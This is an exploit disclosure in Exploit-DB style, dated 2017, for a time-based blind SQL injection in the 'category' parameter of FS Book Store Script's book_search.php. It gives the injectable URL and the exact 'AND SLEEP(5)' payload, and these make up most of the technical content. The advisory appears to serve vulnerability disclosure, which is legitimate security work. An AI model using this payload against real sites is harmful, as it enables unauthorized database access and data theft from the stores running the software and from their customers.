FS Book Store Script - 'category' SQL Injection

# Exploit Title: FS Book Store Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/book-store-script/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
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2017-10-23

Product & Service Introduction:
===============================
This is a robust platform for the booksellers and bookshop owners.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/book_search.php?book_name=xxxxx&category=4 AND SLEEP(5)

Parameter: category (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: book_name=xxxxx&category=4 AND SLEEP(5)

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